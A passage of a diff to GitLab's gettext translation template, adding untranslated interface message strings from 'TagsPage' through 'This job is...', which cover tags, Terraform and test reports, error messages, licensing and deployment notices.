+msgid "TagsPage|Repository has no tags yet."
+msgstr ""
+
+msgid "TagsPage|Sort by"
+msgstr ""
+
+msgid "TagsPage|Tags"
+msgstr ""
+
+msgid "TagsPage|Tags give the ability to mark specific points in history as being important"
+msgstr ""
+
+msgid "TagsPage|This tag has no release notes."
+msgstr ""
+
+msgid "TagsPage|Use git tag command to add a new one:"
+msgstr ""
+
+msgid "TagsPage|Write your release notes or drag files here…"
+msgstr ""
+
+msgid "TagsPage|protected"
+msgstr ""
+
+msgid "Target Branch"
+msgstr ""
+
+msgid "Target Path"
+msgstr ""
+
+msgid "Target branch"
+msgstr ""
+
+msgid "Target-Branch"
+msgstr ""
+
+msgid "Task ID: %{elastic_task}"
+msgstr ""
+
+msgid "Team"
+msgstr ""
+
+msgid "Team domain"
+msgstr ""
+
+msgid "Telephone number"
+msgstr ""
+
+msgid "Telephone number (Optional)"
+msgstr ""
+
+msgid "Template"
+msgstr ""
+
+msgid "Template to append to all Service Desk issues"
+msgstr ""
+
+msgid "Template was successfully saved."
+msgstr ""
+
+msgid "Templates"
+msgstr ""
+
+msgid "TemporaryStorageIncrease|can only be set once"
+msgstr ""
+
+msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
+msgstr ""
+
+msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
+msgstr ""
+
+msgid "TemporaryStorage|Increase storage temporarily"
+msgstr ""
+
+msgid "TemporaryStorage|Temporarily increase storage now?"
+msgstr ""
+
+msgid "Terminal"
+msgstr ""
+
+msgid "Terminal for environment"
+msgstr ""
+
+msgid "Terminal sync service is running"
+msgstr ""
+
+msgid "Terms of Service Agreement and Privacy Policy"
+msgstr ""
+
+msgid "Terms of Service and Privacy Policy"
+msgstr ""
+
+msgid "Terraform|%{number} Terraform report failed to generate"
+msgid_plural "Terraform|%{number} Terraform reports failed to generate"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Terraform|%{number} Terraform report was generated in your pipelines"
+msgid_plural "Terraform|%{number} Terraform reports were generated in your pipelines"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Terraform|A Terraform report failed to generate."
+msgstr ""
+
+msgid "Terraform|A Terraform report was generated in your pipelines."
+msgstr ""
+
+msgid "Terraform|Generating the report caused an error."
+msgstr ""
+
+msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
+msgstr ""
+
+msgid "Terraform|The Terraform report %{name} failed to generate."
+msgstr ""
+
+msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
+msgstr ""
+
+msgid "Test"
+msgstr ""
+
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
+msgid "Test coverage parsing"
+msgstr ""
+
+msgid "Test coverage: %d hit"
+msgid_plural "Test coverage: %d hits"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Test failed."
+msgstr ""
+
+msgid "Test settings and save changes"
+msgstr ""
+
+msgid "TestHooks|Ensure one of your projects has merge requests."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has CI jobs."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has CI pipelines."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has deployments."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has issues."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has merge requests."
+msgstr ""
+
+msgid "TestHooks|Ensure the project has notes."
+msgstr ""
+
+msgid "TestHooks|Ensure the wiki is enabled and has pages."
+msgstr ""
+
+msgid "TestReports|%{count} errors"
+msgstr ""
+
+msgid "TestReports|%{count} failures"
+msgstr ""
+
+msgid "TestReports|%{count} tests"
+msgstr ""
+
+msgid "TestReports|%{rate}%{sign} success rate"
+msgstr ""
+
+msgid "TestReports|Jobs"
+msgstr ""
+
+msgid "TestReports|Tests"
+msgstr ""
+
+msgid "TestReports|There are no test cases to display."
+msgstr ""
+
+msgid "TestReports|There are no test suites to show."
+msgstr ""
+
+msgid "TestReports|There are no tests to show."
+msgstr ""
+
+msgid "TestReports|There was an error fetching the summary."
+msgstr ""
+
+msgid "TestReports|There was an error fetching the test suite."
+msgstr ""
+
+msgid "Tests"
+msgstr ""
+
+msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
+msgstr ""
+
+msgid "Thank you for your feedback!"
+msgstr ""
+
+msgid "Thank you for your report. A GitLab administrator will look into it shortly."
+msgstr ""
+
+msgid "Thank you for your support request! We are tracking your request as ticket #%{issue_iid}, and will respond as soon as we can."
+msgstr ""
+
+msgid "Thanks for your purchase!"
+msgstr ""
+
+msgid "Thanks! Don't show me this again"
+msgstr ""
+
+msgid "That's it, well done!%{celebrate}"
+msgstr ""
+
+msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
+msgstr ""
+
+msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgstr ""
+
+msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
+msgstr ""
+
+msgid "The %{type} contains the following error:"
+msgid_plural "The %{type} contains the following errors:"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgstr ""
+
+msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
+msgstr ""
+
+msgid "The Git LFS objects will %{strong_open}not%{strong_close} be synced."
+msgstr ""
+
+msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
+msgstr ""
+
+msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
+msgstr ""
+
+msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project. You can register or sign in to create issues for this project."
+msgstr ""
+
+msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
+msgstr ""
+
+msgid "The URL defined on the primary node that secondary nodes should use to contact it."
+msgstr ""
+
+msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgstr ""
+
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgstr ""
+
+msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgstr ""
+
+msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
+msgstr ""
+
+msgid "The associated issue #%{issueId} has been closed as the error is now resolved."
+msgstr ""
+
+msgid "The branch for this project has no active pipeline configuration."
+msgstr ""
+
+msgid "The branch or tag does not exist"
+msgstr ""
+
+msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
+msgstr ""
+
+msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
+msgstr ""
+
+msgid "The collection of events added to the data gathered for that stage."
+msgstr ""
+
+msgid "The commit does not exist"
+msgstr ""
+
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
+msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
+msgstr ""
+
+msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
+msgstr ""
+
+msgid "The contents of this group, its subgroups and projects will be permanently removed after %{deletion_adjourned_period} days on %{date}. After this point, your data cannot be recovered."
+msgstr ""
+
+msgid "The current issue"
+msgstr ""
+
+msgid "The data source is connected, but there is no data to display. %{documentationLink}"
+msgstr ""
+
+msgid "The default CI configuration path for new projects."
+msgstr ""
+
+msgid "The dependency list details information about the components used within your project."
+msgstr ""
+
+msgid "The deployment of this job to %{environmentLink} did not succeed."
+msgstr ""
+
+msgid "The designs you tried uploading did not change."
+msgstr ""
+
+msgid "The directory has been successfully created."
+msgstr ""
+
+msgid "The domain you entered is misformatted."
+msgstr ""
+
+msgid "The domain you entered is not allowed."
+msgstr ""
+
+msgid "The download link will expire in 24 hours."
+msgstr ""
+
+msgid "The entered user map is not a valid JSON user map."
+msgstr ""
+
+msgid "The errors we encountered were:"
+msgstr ""
+
+msgid "The file has been successfully created."
+msgstr ""
+
+msgid "The file has been successfully deleted."
+msgstr ""
+
+msgid "The file name should have a .yml extension"
+msgstr ""
+
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
+msgid "The following items will NOT be exported:"
+msgstr ""
+
+msgid "The following items will be exported:"
+msgstr ""
+
+msgid "The following personal access token: %{token_names} was revoked, because a new policy to expire personal access tokens were set."
+msgid_plural "The following personal access tokens: %{token_names} were revoked, because a new policy to expire personal access tokens were set."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "The fork relationship has been removed."
+msgstr ""
+
+msgid "The form contains the following error:"
+msgstr ""
+
+msgid "The global settings require you to enable Two-Factor Authentication for your account."
+msgstr ""
+
+msgid "The group and any internal projects can be viewed by any logged in user."
+msgstr ""
+
+msgid "The group and any public projects can be viewed without any authentication."
+msgstr ""
+
+msgid "The group and its projects can only be viewed by members."
+msgstr ""
+
+msgid "The group can be fully restored"
+msgstr ""
+
+msgid "The group export can be downloaded from:"
+msgstr ""
+
+msgid "The group has already been shared with this group"
+msgstr ""
+
+msgid "The group settings for %{group_links} require you to enable Two-Factor Authentication for your account. You can %{leave_group_links}."
+msgstr ""
+
+msgid "The group will be placed in 'pending removal' state"
+msgstr ""
+
+msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
+msgstr ""
+
+msgid "The invitation could not be accepted."
+msgstr ""
+
+msgid "The invitation could not be declined."
+msgstr ""
+
+msgid "The invitation has already been accepted."
+msgstr ""
+
+msgid "The invitation was successfully resent."
+msgstr ""
+
+msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
+msgstr ""
+
+msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
+msgstr ""
+
+msgid "The license was removed. GitLab has fallen back on the previous license."
+msgstr ""
+
+msgid "The license was removed. GitLab now no longer has a valid license."
+msgstr ""
+
+msgid "The license was successfully uploaded and is now active. You can see the details below."
+msgstr ""
+
+msgid "The license was successfully uploaded and will be active from %{starts_at}. You can see the details below."
+msgstr ""
+
+msgid "The maximum file size allowed is %{size}."
+msgstr ""
+
+msgid "The maximum file size allowed is 200KB."
+msgstr ""
+
+msgid "The merge conflicts for this merge request cannot be resolved through GitLab. Please try to resolve them locally."
+msgstr ""
+
+msgid "The merge conflicts for this merge request have already been resolved."
+msgstr ""
+
+msgid "The merge conflicts for this merge request have already been resolved. Please return to the merge request."
+msgstr ""
+
+msgid "The merge request can now be merged."
+msgstr ""
+
+msgid "The name \"%{name}\" is already taken in this directory."
+msgstr ""
+
+msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
+msgstr ""
+
+msgid "The number of merge requests merged by month."
+msgstr ""
+
+msgid "The number of times an upload record could not find its file"
+msgstr ""
+
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
+msgstr ""
+
+msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
+msgstr ""
+
+msgid "The path to the CI configuration file. Defaults to %{code_open}.gitlab-ci.yml%{code_close}"
+msgstr ""
+
+msgid "The phase of the development lifecycle."
+msgstr ""
+
+msgid "The pipeline has been deleted"
+msgstr ""
+
+msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
+msgstr ""
+
+msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
+msgstr ""
+
+msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
+msgstr ""
+
+msgid "The production stage shows the total time it takes between creating an issue and deploying the code to production. The data will be automatically added once you have completed the full idea to production cycle."
+msgstr ""
+
+msgid "The project can be accessed by any logged in user."
+msgstr ""
+
+msgid "The project can be accessed by any user who is logged in."
+msgstr ""
+
+msgid "The project can be accessed by anyone, regardless of authentication."
+msgstr ""
+
+msgid "The project can be accessed without any authentication."
+msgstr ""
+
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
+msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
+msgstr ""
+
+msgid "The project is still being deleted. Please try again later."
+msgstr ""
+
+msgid "The project was successfully forked."
+msgstr ""
+
+msgid "The project was successfully imported."
+msgstr ""
+
+msgid "The pseudonymizer data collection is disabled. When enabled, GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
+msgstr ""
+
+msgid "The remote mirror took to long to complete."
+msgstr ""
+
+msgid "The remote repository is being updated..."
+msgstr ""
+
+msgid "The repository can be commited to, and issues, comments and other entities can be created."
+msgstr ""
+
+msgid "The repository for this project does not exist."
+msgstr ""
+
+msgid "The repository for this project is empty"
+msgstr ""
+
+msgid "The repository is being updated..."
+msgstr ""
+
+msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close} or %{code_open}git://%{code_close}."
+msgstr ""
+
+msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
+msgstr ""
+
+msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
+msgstr ""
+
+msgid "The roadmap shows the progress of your epics along a timeline"
+msgstr ""
+
+msgid "The schedule time must be in the future!"
+msgstr ""
+
+msgid "The snippet can be accessed without any authentication."
+msgstr ""
+
+msgid "The snippet is visible only to me."
+msgstr ""
+
+msgid "The snippet is visible only to project members."
+msgstr ""
+
+msgid "The snippet is visible to any logged in user."
+msgstr ""
+
+msgid "The specified tab is invalid, please select another"
+msgstr ""
+
+msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgstr ""
+
+msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
+msgstr ""
+
+msgid "The time taken by each data entry gathered by that stage."
+msgstr ""
+
+msgid "The total stage shows the time it takes between creating an issue and deploying the code to production. The data will be automatically added once you have completed the full idea to production cycle."
+msgstr ""
+
+msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
+msgstr ""
+
+msgid "The uploaded file is not a valid Google Takeout archive."
+msgstr ""
+
+msgid "The usage ping is disabled, and cannot be configured through this form."
+msgstr ""
+
+msgid "The user is being deleted."
+msgstr ""
+
+msgid "The user map has been saved. Continue by selecting the projects you want to import."
+msgstr ""
+
+msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
+msgstr ""
+
+msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
+msgstr ""
+
+msgid "The user you are trying to deactivate has been active in the past %{minimum_inactive_days} days and cannot be deactivated"
+msgstr ""
+
+msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
+msgstr ""
+
+msgid "The value of the provided variable exceeds the %{count} character limit"
+msgstr ""
+
+msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
+msgstr ""
+
+msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
+msgstr ""
+
+msgid "There are currently no events."
+msgstr ""
+
+msgid "There are merge conflicts"
+msgstr ""
+
+msgid "There are no %{replicableTypeName} to show"
+msgstr ""
+
+msgid "There are no GPG keys associated with this account."
+msgstr ""
+
+msgid "There are no GPG keys with access to your account."
+msgstr ""
+
+msgid "There are no SSH keys associated with this account."
+msgstr ""
+
+msgid "There are no SSH keys with access to your account."
+msgstr ""
+
+msgid "There are no archived projects yet"
+msgstr ""
+
+msgid "There are no archived requirements"
+msgstr ""
+
+msgid "There are no changes"
+msgstr ""
+
+msgid "There are no charts configured for this page"
+msgstr ""
+
+msgid "There are no closed issues"
+msgstr ""
+
+msgid "There are no closed merge requests"
+msgstr ""
+
+msgid "There are no commits yet."
+msgstr ""
+
+msgid "There are no custom project templates set up for this GitLab instance. They are enabled from GitLab's Admin Area. Contact your GitLab instance administrator to setup custom project templates."
+msgstr ""
+
+msgid "There are no issues to show"
+msgstr ""
+
+msgid "There are no issues to show."
+msgstr ""
+
+msgid "There are no labels yet"
+msgstr ""
+
+msgid "There are no matching files"
+msgstr ""
+
+msgid "There are no open issues"
+msgstr ""
+
+msgid "There are no open merge requests"
+msgstr ""
+
+msgid "There are no open requirements"
+msgstr ""
+
+msgid "There are no packages yet"
+msgstr ""
+
+msgid "There are no projects shared with this group yet"
+msgstr ""
+
+msgid "There are no variables yet."
+msgstr ""
+
+msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
+msgstr ""
+
+msgid "There is already a repository with that name on disk"
+msgstr ""
+
+msgid "There is no chart data available."
+msgstr ""
+
+msgid "There is no data available. Please change your selection."
+msgstr ""
+
+msgid "There is no table data available."
+msgstr ""
+
+msgid "There is too much data to calculate. Please change your selection."
+msgstr ""
+
+msgid "There was a problem communicating with your device."
+msgstr ""
+
+msgid "There was a problem fetching groups."
+msgstr ""
+
+msgid "There was a problem fetching labels."
+msgstr ""
+
+msgid "There was a problem fetching milestones."
+msgstr ""
+
+msgid "There was a problem fetching project branches."
+msgstr ""
+
+msgid "There was a problem fetching project tags."
+msgstr ""
+
+msgid "There was a problem fetching project users."
+msgstr ""
+
+msgid "There was a problem fetching users."
+msgstr ""
+
+msgid "There was a problem refreshing the data, please try again"
+msgstr ""
+
+msgid "There was a problem saving your custom stage, please try again"
+msgstr ""
+
+msgid "There was a problem sending the confirmation email"
+msgstr ""
+
+msgid "There was an error %{message} todo."
+msgstr ""
+
+msgid "There was an error adding a To Do."
+msgstr ""
+
+msgid "There was an error creating the dashboard, branch name is invalid."
+msgstr ""
+
+msgid "There was an error creating the dashboard, branch named: %{branch} already exists."
+msgstr ""
+
+msgid "There was an error creating the issue"
+msgstr ""
+
+msgid "There was an error deleting the To Do."
+msgstr ""
+
+msgid "There was an error fetching configuration for charts"
+msgstr ""
+
+msgid "There was an error fetching data for the selected stage"
+msgstr ""
+
+msgid "There was an error fetching data for the tasks by type chart"
+msgstr ""
+
+msgid "There was an error fetching label data for the selected group"
+msgstr ""
+
+msgid "There was an error fetching median data for stages"
+msgstr ""
+
+msgid "There was an error fetching the %{replicableType}"
+msgstr ""
+
+msgid "There was an error fetching the Geo Settings"
+msgstr ""
+
+msgid "There was an error fetching the Node's Groups"
+msgstr ""
+
+msgid "There was an error fetching the deploy freezes."
+msgstr ""
+
+msgid "There was an error fetching the environments information."
+msgstr ""
+
+msgid "There was an error fetching the top labels for the selected group"
+msgstr ""
+
+msgid "There was an error fetching the variables."
+msgstr ""
+
+msgid "There was an error fetching value stream analytics stages."
+msgstr ""
+
+msgid "There was an error gathering the chart data"
+msgstr ""
+
+msgid "There was an error getting the epic participants."
+msgstr ""
+
+msgid "There was an error importing the Jira project."
+msgstr ""
+
+msgid "There was an error loading users activity calendar."
+msgstr ""
+
+msgid "There was an error parsing the data for this graph."
+msgstr ""
+
+msgid "There was an error removing the e-mail."
+msgstr ""
+
+msgid "There was an error removing your custom stage, please try again"
+msgstr ""
+
+msgid "There was an error resetting group pipeline minutes."
+msgstr ""
+
+msgid "There was an error resetting user pipeline minutes."
+msgstr ""
+
+msgid "There was an error retrieving the Jira users."
+msgstr ""
+
+msgid "There was an error saving this Geo Node."
+msgstr ""
+
+msgid "There was an error saving your changes."
+msgstr ""
+
+msgid "There was an error saving your notification settings."
+msgstr ""
+
+msgid "There was an error subscribing to this label."
+msgstr ""
+
+msgid "There was an error syncing project %{name}"
+msgstr ""
+
+msgid "There was an error syncing the %{replicableType}"
+msgstr ""
+
+msgid "There was an error trying to validate your query"
+msgstr ""
+
+msgid "There was an error updating the Geo Settings"
+msgstr ""
+
+msgid "There was an error updating the dashboard, branch name is invalid."
+msgstr ""
+
+msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
+msgstr ""
+
+msgid "There was an error updating the stage order. Please try reloading the page."
+msgstr ""
+
+msgid "There was an error when reseting email token."
+msgstr ""
+
+msgid "There was an error when subscribing to this label."
+msgstr ""
+
+msgid "There was an error when unsubscribing from this label."
+msgstr ""
+
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
+msgstr ""
+
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
+msgstr ""
+
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
+msgstr ""
+
+msgid "There was an error while fetching value stream analytics data."
+msgstr ""
+
+msgid "There was an error while fetching value stream analytics duration data."
+msgstr ""
+
+msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
+msgstr ""
+
+msgid "These existing issues have a similar title. It might be better to comment there instead of creating another similar issue."
+msgstr ""
+
+msgid "These variables are configured in the parent group settings, and will be active in the current project in addition to the project variables."
+msgstr ""
+
+msgid "They can be managed using the %{link}."
+msgstr ""
+
+msgid "Third Party Advisory Link"
+msgstr ""
+
+msgid "Third party offers"
+msgstr ""
+
+msgid "This %{issuableDisplayName} is locked. Only project members can comment."
+msgstr ""
+
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
+msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
+msgstr ""
+
+msgid "This %{noteableTypeText} is %{confidentialLinkStart}confidential%{linkEnd} and %{lockedLinkStart}locked%{linkEnd}."
+msgstr ""
+
+msgid "This %{noteableTypeText} is locked."
+msgstr ""
+
+msgid "This %{viewer} could not be displayed because %{reason}. You can %{options} instead."
+msgstr ""
+
+msgid "This Cron pattern is invalid"
+msgstr ""
+
+msgid "This GitLab instance does not provide any shared Runners yet. Instance administrators can register shared Runners in the admin area."
+msgstr ""
+
+msgid "This GitLab instance is licensed at the %{insufficient_license} tier. Geo is only available for users who have at least a Premium license."
+msgstr ""
+
+msgid "This Project is currently archived and read-only. Please unarchive the project first if you want to resume Pull mirroring"
+msgstr ""
+
+msgid "This URL is already used for another link; duplicate URLs are not allowed"
+msgstr ""
+
+msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
+msgstr ""
+
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
+msgstr ""
+
+msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
+msgstr ""
+
+msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}on %{date}%{strongClose}, including its repositories and all content: issues, merge requests, etc."
+msgstr ""
+
+msgid "This also resolves all related threads"
+msgstr ""
+
+msgid "This also resolves this thread"
+msgstr ""
+
+msgid "This application was created by %{link_to_owner}."
+msgstr ""
+
+msgid "This application will be able to:"
+msgstr ""
+
+msgid "This attachment has been truncated to avoid exceeding the maximum allowed attachment size of 15MB. %{written_count} of %{issues_count} issues have been included. Consider re-exporting with a narrower selection of issues."
+msgstr ""
+
+msgid "This block is self-referential"
+msgstr ""
+
+msgid "This board's scope is reduced"
+msgstr ""
+
+msgid "This branch has changed since you started editing. Would you like to create a new branch?"
+msgstr ""
+
+msgid "This chart could not be displayed"
+msgstr ""
+
+msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgstr ""
+
+msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
+msgstr ""
+
+msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
+msgstr ""
+
+msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
+msgstr ""
+
+msgid "This commit was signed with a different user's verified signature."
+msgstr ""
+
+msgid "This commit was signed with a verified signature, but the committer email is %{strong_open}not verified%{strong_close} to belong to the same user."
+msgstr ""
+
+msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
+msgstr ""
+
+msgid "This commit was signed with an <strong>unverified</strong> signature."
+msgstr ""
+
+msgid "This content could not be displayed because %{reason}. You can %{options} instead."
+msgstr ""
+
+msgid "This credential has expired"
+msgstr ""
+
+msgid "This date is after the due date, so this epic won't appear in the roadmap."
+msgstr ""
+
+msgid "This date is before the start date, so this epic won't appear in the roadmap."
+msgstr ""
+
+msgid "This device has already been registered with us."
+msgstr ""
+
+msgid "This device has not been registered with us."
+msgstr ""
+
+msgid "This diff is collapsed."
+msgstr ""
+
+msgid "This diff was suppressed by a .gitattributes entry."
+msgstr ""
+
+msgid "This directory"
+msgstr ""
+
+msgid "This domain is not verified. You will need to verify ownership before access is enabled."
+msgstr ""
+
+msgid "This endpoint has been requested too many times. Try again later."
+msgstr ""
+
+msgid "This environment has no deployments yet."
+msgstr ""
+
+msgid "This environment is being deployed"
+msgstr ""
+
+msgid "This environment is being re-deployed"
+msgstr ""
+
+msgid "This epic already has the maximum number of child epics."
+msgstr ""
+
+msgid "This epic and its child elements will only be visible to team members with at minimum Reporter access."
+msgstr ""
+
+msgid "This epic does not exist or you don't have sufficient permission."
+msgstr ""
+
+msgid "This feature requires local storage to be enabled"
+msgstr ""
+
+msgid "This feature should be used with an index that was created after 13.0"
+msgstr ""
+
+msgid "This field is required."
+msgstr ""
+
+msgid "This group"
+msgstr ""
+
+msgid "This group cannot be invited to a project inside a group with enforced SSO"
+msgstr ""
+
+msgid "This group does not provide any group Runners yet."
+msgstr ""
+
+msgid "This group has been scheduled for permanent removal on %{date}"
+msgstr ""
+
+msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
+msgstr ""
+
+msgid "This group, its subgroups and projects has been scheduled for removal on %{date}."
+msgstr ""
+
+msgid "This group, its subgroups and projects will be removed on %{date} since its parent group '%{parent_group_name}'' has been scheduled for removal."
+msgstr ""
+
+msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
+msgstr ""
+
+msgid "This is a Premium feature"
+msgstr ""
+
+msgid "This is a confidential %{noteableTypeText}."
+msgstr ""
+
+msgid "This is a delayed job to run in %{remainingTime}"
+msgstr ""
+
+msgid "This is a list of devices that have logged into your account. Revoke any sessions that you do not recognize."
+msgstr ""
+
+msgid "This is a security log of important events involving your account."
+msgstr ""
+
+msgid "This is the author's first Merge Request to this project."
+msgstr ""
+
+msgid "This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "This is the maximum number of users that have existed at the same time since the license started. This is the minimum number of seats you will need to buy when you renew your license."
+msgstr ""
+
+msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "This is your current session"
+msgstr ""
+
+msgid "This issue is currently blocked by the following issues: %{issues}."
+msgstr ""
+
+msgid "This issue is in a child epic of the filtered epic"
+msgstr ""
+
+msgid "This job depends on other jobs with expired/erased artifacts: %{invalid_dependencies}"
+msgstr ""
+
+msgid "This job depends on upstream jobs that need to succeed in order for this job to be triggered"
+msgstr ""
+
+msgid "This job does not have a trace."
+msgstr ""
+
+msgid "This job has been canceled"
+msgstr ""
+
+msgid "This job has been skipped"
+msgstr ""
+
+msgid "This job has not been triggered yet"
+msgstr ""
+
+msgid "This job has not started yet"
+msgstr ""
+
+msgid "This job is an out-of-date deployment to %{environmentLink} using cluster %{clusterNameOrLink} and namespace %{kubernetesNamespace}."
+msgstr ""
+
+msgid "This job is an out-of-date deployment to %{environmentLink} using cluster %{clusterNameOrLink} and namespace %{kubernetesNamespace}. View the %{deploymentLink}."
+msgstr ""
+
+msgid "This job is an out-of-date deployment to %{environmentLink} using cluster %{clusterNameOrLink}."
+msgstr ""
+
+msgid "This job is an out-of-date deployment to %{environmentLink} using cluster %{clusterNameOrLink}. View the %{deploymentLink}."
+msgstr ""
+
+msgid "This job is an out-of-date deployment to %{environmentLink}."
+msgstr ""
+
+msgid "This job is an out-of-date deployment to %{environmentLink}. View the %{deploymentLink}."
+msgstr ""
+
+msgid "This job is archived. Only the complete pipeline can be retried."
+msgstr ""
+
+msgid "This job is creating a deployment to %{environmentLink} using cluster %{clusterNameOrLink} and namespace %{kubernetesNamespace}."
+msgstr ""
+
+msgid "This job is creating a deployment to %{environmentLink} using cluster %{clusterNameOrLink} and namespace %{kubernetesNamespace}. This will overwrite the %{deploymentLink}."
+msgstr ""
+
+msgid "This job is creating a deployment to %{environmentLink} using cluster %{clusterNameOrLink}."
+msgstr ""
+
+msgid "This job is creating a deployment to %{environmentLink} using cluster %{clusterNameOrLink}. This will overwrite the %{deploymentLink}."
+msgstr ""
+
+msgid "This job is creating a deployment to %{environmentLink}."
+msgstr ""
+
+msgid "This job is creating a deployment to %{environmentLink}. This will overwrite the %{deploymentLink}."
+msgstr ""
+
+msgid "This job is deployed to %{environmentLink} using cluster %{clusterNameOrLink} and namespace %{kubernetesNamespace}."
